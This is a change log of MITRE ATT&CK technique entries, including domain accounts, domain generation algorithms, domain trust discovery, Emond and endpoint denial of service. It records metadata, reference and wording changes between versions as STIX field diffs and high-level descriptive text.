dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 01:35:43.938000+00:00 | 2022-04-11 22:28:36.395000+00:00 |
| external_references[1]['source_name'] | Microsoft SharePoint Logging | Atlassian Confluence Logging |
| external_references[1]['description'] | Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018. | Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. |
| external_references[1]['url'] | https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2 | https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html |
| external_references[2]['source_name'] | Sharepoint Sharing Events | Microsoft SharePoint Logging |
| external_references[2]['description'] | Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021. | Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018. |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events | https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2 |
| external_references[3]['source_name'] | Atlassian Confluence Logging | Sharepoint Sharing Events |
| external_references[3]['description'] | Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. | Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021. |
| external_references[3]['url'] | https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html | https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Isif Ibrahima, Mandiant |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | Isif Ibrahima | |
[T1078.002] Valid Accounts: Domain Accounts
Current version: 1.2
|
|
|---|
| t | Adversaries may obtain and abuse credentials of a domain acc | t | Adversaries may obtain and abuse credentials of a domain acc |
| ount as a means of gaining Initial Access, Persistence, Priv | | ount as a means of gaining Initial Access, Persistence, Priv |
| ilege Escalation, or Defense Evasion. (Citation: TechNet Cre | | ilege Escalation, or Defense Evasion.(Citation: TechNet Cred |
| dential Theft) Domain accounts are those managed by Active D | | ential Theft) Domain accounts are those managed by Active Di |
| irectory Domain Services where access and permissions are co | | rectory Domain Services where access and permissions are con |
| nfigured across systems and services that are part of that d | | figured across systems and services that are part of that do |
| omain. Domain accounts can cover users, administrators, and | | main. Domain accounts can cover users, administrators, and s |
| services.(Citation: Microsoft AD Accounts) Adversaries may | | ervices.(Citation: Microsoft AD Accounts) Adversaries may c |
| compromise domain accounts, some with a high level of privil | | ompromise domain accounts, some with a high level of privile |
| eges, through various means such as [OS Credential Dumping]( | | ges, through various means such as [OS Credential Dumping](h |
| https://attack.mitre.org/techniques/T1003) or password reuse | | ttps://attack.mitre.org/techniques/T1003) or password reuse, |
| , allowing access to privileged resources of the domain. | | allowing access to privileged resources of the domain. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. |
| external_references | | CAPEC-560 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-560 | |
| external_references | Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-19 03:29:47.651000+00:00 | 2022-04-19 20:14:34.479000+00:00 |
| description | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. |
| external_references[1]['source_name'] | capec | TechNet Credential Theft |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/560.html | https://technet.microsoft.com/en-us/library/dn535501.aspx |
| external_references[2]['source_name'] | TechNet Credential Theft | TechNet Audit Policy |
| external_references[2]['description'] | Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. | Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. |
| external_references[2]['url'] | https://technet.microsoft.com/en-us/library/dn535501.aspx | https://technet.microsoft.com/en-us/library/dn487457.aspx |
| external_references[4]['source_name'] | TechNet Audit Policy | Ubuntu SSSD Docs |
| external_references[4]['description'] | Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. | Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021. |
| external_references[4]['url'] | https://technet.microsoft.com/en-us/library/dn487457.aspx | https://ubuntu.com/server/docs/service-sssd |
| external_references[5]['source_name'] | Ubuntu SSSD Docs | capec |
| external_references[5]['url'] | https://ubuntu.com/server/docs/service-sssd | https://capec.mitre.org/data/definitions/560.html |
| x_mitre_data_sources[0] | Logon Session: Logon Session Metadata | User Account: User Account Authentication |
| x_mitre_data_sources[1] | User Account: User Account Authentication | Logon Session: Logon Session Metadata |
[T1568.002] Dynamic Resolution: Domain Generation Algorithms
Current version: 1.0
|
|
|---|
| t | Adversaries may make use of Domain Generation Algorithms (DG | t | Adversaries may make use of Domain Generation Algorithms (DG |
| As) to dynamically identify a destination domain for command | | As) to dynamically identify a destination domain for command |
| and control traffic rather than relying on a list of static | | and control traffic rather than relying on a list of static |
| IP addresses or domains. This has the advantage of making i | | IP addresses or domains. This has the advantage of making i |
| t much harder for defenders block, track, or take over the c | | t much harder for defenders to block, track, or take over th |
| ommand and control channel, as there potentially could be th | | e command and control channel, as there potentially could be |
| ousands of domains that malware can check for instructions.( | | thousands of domains that malware can check for instruction |
| Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrel | | s.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umb |
| la DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the f | | rella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take th |
| orm of apparently random or “gibberish” strings (ex: istgmxd | | e form of apparently random or “gibberish” strings (ex: istg |
| ejdnxuyla.ru) when they construct domain names by generating | | mxdejdnxuyla.ru) when they construct domain names by generat |
| each letter. Alternatively, some DGAs employ whole words as | | ing each letter. Alternatively, some DGAs employ whole words |
| the unit by concatenating words together instead of letters | | as the unit by concatenating words together instead of lett |
| (ex: cityjulydish.net). Many DGAs are time-based, generatin | | ers (ex: cityjulydish.net). Many DGAs are time-based, genera |
| g a different domain for each time period (hourly, daily, mo | | ting a different domain for each time period (hourly, daily, |
| nthly, etc). Others incorporate a seed value as well to make | | monthly, etc). Others incorporate a seed value as well to m |
| predicting future domains more difficult for defenders.(Cit | | ake predicting future domains more difficult for defenders.( |
| ation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella | | Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrel |
| DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mit | | la DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA |
| igation) Adversaries may use DGAs for the purpose of [Fallb | | Mitigation) Adversaries may use DGAs for the purpose of [Fa |
| ack Channels](https://attack.mitre.org/techniques/T1008). Wh | | llback Channels](https://attack.mitre.org/techniques/T1008). |
| en contact is lost with the primary command and control serv | | When contact is lost with the primary command and control s |
| er malware may employ a DGA as a means to reestablishing com | | erver malware may employ a DGA as a means to reestablishing |
| mand and control.(Citation: Talos CCleanup 2017)(Citation: F | | command and control.(Citation: Talos CCleanup 2017)(Citation |
| ireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activi | | : FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Act |
| ty) | | ivity) |
Dropped Detections:
- DS0029: Network Traffic (Network Connection Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-11-10 18:28:57.002000+00:00 | 2022-03-11 18:26:23.432000+00:00 |
| description | Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)
Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) | Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)
Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) |
[T1482] Domain Trust Discovery
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-17 18:26:17.858000+00:00 | 2022-04-05 19:58:03.031000+00:00 |
| external_references[1]['source_name'] | Microsoft Trusts | Microsoft Operation Wilysupply |
| external_references[1]['description'] | Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019. | Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) | https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ |
| external_references[3]['source_name'] | Harmj0y Domain Trusts | Microsoft Trusts |
| external_references[3]['description'] | Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019. | Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019. |
| external_references[3]['url'] | http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ | https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) |
| external_references[4]['source_name'] | Microsoft Operation Wilysupply | Microsoft GetAllTrustRelationships |
| external_references[4]['description'] | Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019. | Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019. |
| external_references[4]['url'] | https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ | https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships |
| external_references[5]['source_name'] | Microsoft GetAllTrustRelationships | Harmj0y Domain Trusts |
| external_references[5]['description'] | Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019. | Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships | https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944 |
| x_mitre_data_sources[0] | Process: Process Creation | Process: OS API Execution |
| x_mitre_data_sources[1] | Command: Command Execution | Script: Script Execution |
| x_mitre_data_sources[2] | Process: OS API Execution | Command: Command Execution |
| x_mitre_data_sources[3] | Script: Script Execution | Process: Process Creation |
[T1568] Dynamic Resolution
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-02 01:37:39.938000+00:00 | 2022-03-11 18:26:23.782000+00:00 |
| x_mitre_data_sources[0] | Network Traffic: Network Traffic Flow | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Network Traffic: Network Connection Creation | Network Traffic: Network Traffic Flow |
[T1546.014] Event Triggered Execution: Emond
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-24 21:37:25.307000+00:00 | 2022-04-20 00:16:01.732000+00:00 |
| external_references[1]['source_name'] | xorrior emond Jan 2018 | magnusviri emond Apr 2016 |
| external_references[1]['description'] | Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019. | Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019. |
| external_references[1]['url'] | https://www.xorrior.com/emond-persistence/ | http://www.magnusviri.com/Mac/what-is-emond.html |
| external_references[2]['source_name'] | magnusviri emond Apr 2016 | xorrior emond Jan 2018 |
| external_references[2]['description'] | Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019. | Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019. |
| external_references[2]['url'] | http://www.magnusviri.com/Mac/what-is-emond.html | https://www.xorrior.com/emond-persistence/ |
| x_mitre_data_sources[0] | Process: Process Creation | File: File Modification |
| x_mitre_data_sources[1] | Command: Command Execution | File: File Creation |
| x_mitre_data_sources[2] | File: File Modification | Process: Process Creation |
| x_mitre_data_sources[3] | File: File Creation | Command: Command Execution |
[T1499] Endpoint Denial of Service
Current version: 1.1
|
|
|---|
| t | Adversaries may perform Endpoint Denial of Service (DoS) att | t | Adversaries may perform Endpoint Denial of Service (DoS) att |
| acks to degrade or block the availability of services to use | | acks to degrade or block the availability of services to use |
| rs. Endpoint DoS can be performed by exhausting the system r | | rs. Endpoint DoS can be performed by exhausting the system r |
| esources those services are hosted on or exploiting the syst | | esources those services are hosted on or exploiting the syst |
| em to cause a persistent crash condition. Example services i | | em to cause a persistent crash condition. Example services i |
| nclude websites, email services, DNS, and web-based applicat | | nclude websites, email services, DNS, and web-based applicat |
| ions. Adversaries have been observed conducting DoS attacks | | ions. Adversaries have been observed conducting DoS attacks |
| for political purposes(Citation: FireEye OpPoisonedHandover | | for political purposes(Citation: FireEye OpPoisonedHandover |
| February 2016) and to support other malicious activities, in | | February 2016) and to support other malicious activities, in |
| cluding distraction(Citation: FSISAC FraudNetDoS September 2 | | cluding distraction(Citation: FSISAC FraudNetDoS September 2 |
| 012), hacktivism, and extortion.(Citation: Symantec DDoS Oct | | 012), hacktivism, and extortion.(Citation: Symantec DDoS Oct |
| ober 2014) An Endpoint DoS denies the availability of a ser | | ober 2014) An Endpoint DoS denies the availability of a ser |
| vice without saturating the network used to provide access t | | vice without saturating the network used to provide access t |
| o the service. Adversaries can target various layers of the | | o the service. Adversaries can target various layers of the |
| application stack that is hosted on the system used to provi | | application stack that is hosted on the system used to provi |
| de the service. These layers include the Operating Systems ( | | de the service. These layers include the Operating Systems ( |
| OS), server applications such as web servers, DNS servers, d | | OS), server applications such as web servers, DNS servers, d |
| atabases, and the (typically web-based) applications that si | | atabases, and the (typically web-based) applications that si |
| t on top of them. Attacking each layer requires different te | | t on top of them. Attacking each layer requires different te |
| chniques that take advantage of bottlenecks that are unique | | chniques that take advantage of bottlenecks that are unique |
| to the respective components. A DoS attack may be generated | | to the respective components. A DoS attack may be generated |
| by a single system or multiple systems spread across the int | | by a single system or multiple systems spread across the int |
| ernet, which is commonly referred to as a distributed DoS (D | | ernet, which is commonly referred to as a distributed DoS (D |
| DoS). To perform DoS attacks against endpoint resources, se | | DoS). To perform DoS attacks against endpoint resources, se |
| veral aspects apply to multiple methods, including IP addres | | veral aspects apply to multiple methods, including IP addres |
| s spoofing and botnets. Adversaries may use the original IP | | s spoofing and botnets. Adversaries may use the original IP |
| address of an attacking system, or spoof the source IP addr | | address of an attacking system, or spoof the source IP addr |
| ess to make the attack traffic more difficult to trace back | | ess to make the attack traffic more difficult to trace back |
| to the attacking system or to enable reflection. This can in | | to the attacking system or to enable reflection. This can in |
| crease the difficulty defenders have in defending against th | | crease the difficulty defenders have in defending against th |
| e attack by reducing or eliminating the effectiveness of fil | | e attack by reducing or eliminating the effectiveness of fil |
| tering by the source address on network defense devices. Bo | | tering by the source address on network defense devices. Bo |
| tnets are commonly used to conduct DDoS attacks against netw | | tnets are commonly used to conduct DDoS attacks against netw |
| orks and services. Large botnets can generate a significant | | orks and services. Large botnets can generate a significant |
| amount of traffic from systems spread across the global inte | | amount of traffic from systems spread across the global inte |
| rnet. Adversaries may have the resources to build out and co | | rnet. Adversaries may have the resources to build out and co |
| ntrol their own botnet infrastructure or may rent time on an | | ntrol their own botnet infrastructure or may rent time on an |
| existing botnet to conduct an attack. In some of the worst | | existing botnet to conduct an attack. In some of the worst |
| cases for DDoS, so many systems are used to generate request | | cases for DDoS, so many systems are used to generate request |
| s that each one only needs to send out a small amount of tra | | s that each one only needs to send out a small amount of tra |
| ffic to produce enough volume to exhaust the target's resour | | ffic to produce enough volume to exhaust the target's resour |
| ces. In such circumstances, distinguishing DDoS traffic from | | ces. In such circumstances, distinguishing DDoS traffic from |
| legitimate clients becomes exceedingly difficult. Botnets h | | legitimate clients becomes exceedingly difficult. Botnets h |
| ave been used in some of the most high-profile DDoS attacks, | | ave been used in some of the most high-profile DDoS attacks, |
| such as the 2012 series of incidents that targeted major US | | such as the 2012 series of incidents that targeted major US |
| banks.(Citation: USNYAG IranianBotnet March 2016) In cases | | banks.(Citation: USNYAG IranianBotnet March 2016) In cases |
| where traffic manipulation is used, there may be points in | | where traffic manipulation is used, there may be points in |
| the the global network (such as high traffic gateway routers | | the global network (such as high traffic gateway routers) wh |
| ) where packets can be altered and cause legitimate clients | | ere packets can be altered and cause legitimate clients to e |
| to execute code that directs network packets toward a target | | xecute code that directs network packets toward a target in |
| in high volume. This type of capability was previously used | | high volume. This type of capability was previously used for |
| for the purposes of web censorship where client HTTP traffi | | the purposes of web censorship where client HTTP traffic wa |
| c was modified to include a reference to JavaScript that gen | | s modified to include a reference to JavaScript that generat |
| erated the DDoS code to overwhelm target web servers.(Citati | | ed the DDoS code to overwhelm target web servers.(Citation: |
| on: ArsTechnica Great Firewall of China) For attacks attemp | | ArsTechnica Great Firewall of China) For attacks attempting |
| ting to saturate the providing network, see [Network Denial | | to saturate the providing network, see [Network Denial of S |
| of Service](https://attack.mitre.org/techniques/T1498). | | ervice](https://attack.mitre.org/techniques/T1498). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. |
| external_references | | FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019. |
| external_references | | Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019. |
| external_references | | Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019. |
| external_references | | CAPEC-227 |
| external_references | | CAPEC-131 |
| external_references | | CAPEC-130 |
| external_references | | CAPEC-125 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-227 | |
| external_references | CAPEC-131 | |
| external_references | CAPEC-130 | |
| external_references | CAPEC-125 | |
| external_references | Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019. | |
| external_references | Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. | |
| external_references | Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019. | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-14 12:05:31.985000+00:00 | 2022-04-12 14:48:40.313000+00:00 |
| description | Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).
To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.
Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)
For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
| Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).
To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.
Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)
For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
|
| external_references[1]['source_name'] | capec | Cisco DoSdetectNetflow |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/227.html | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf |
| external_references[2]['source_name'] | capec | FSISAC FraudNetDoS September 2012 |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/131.html | https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf |
| external_references[3]['source_name'] | capec | ArsTechnica Great Firewall of China |
| external_references[3]['url'] | https://capec.mitre.org/data/definitions/130.html | https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/ |
| external_references[4]['source_name'] | capec | FireEye OpPoisonedHandover February 2016 |
| external_references[4]['url'] | https://capec.mitre.org/data/definitions/125.html | https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html |
| external_references[5]['source_name'] | FireEye OpPoisonedHandover February 2016 | USNYAG IranianBotnet March 2016 |
| external_references[5]['description'] | Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019. | Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html | https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged |
| external_references[6]['source_name'] | FSISAC FraudNetDoS September 2012 | Symantec DDoS October 2014 |
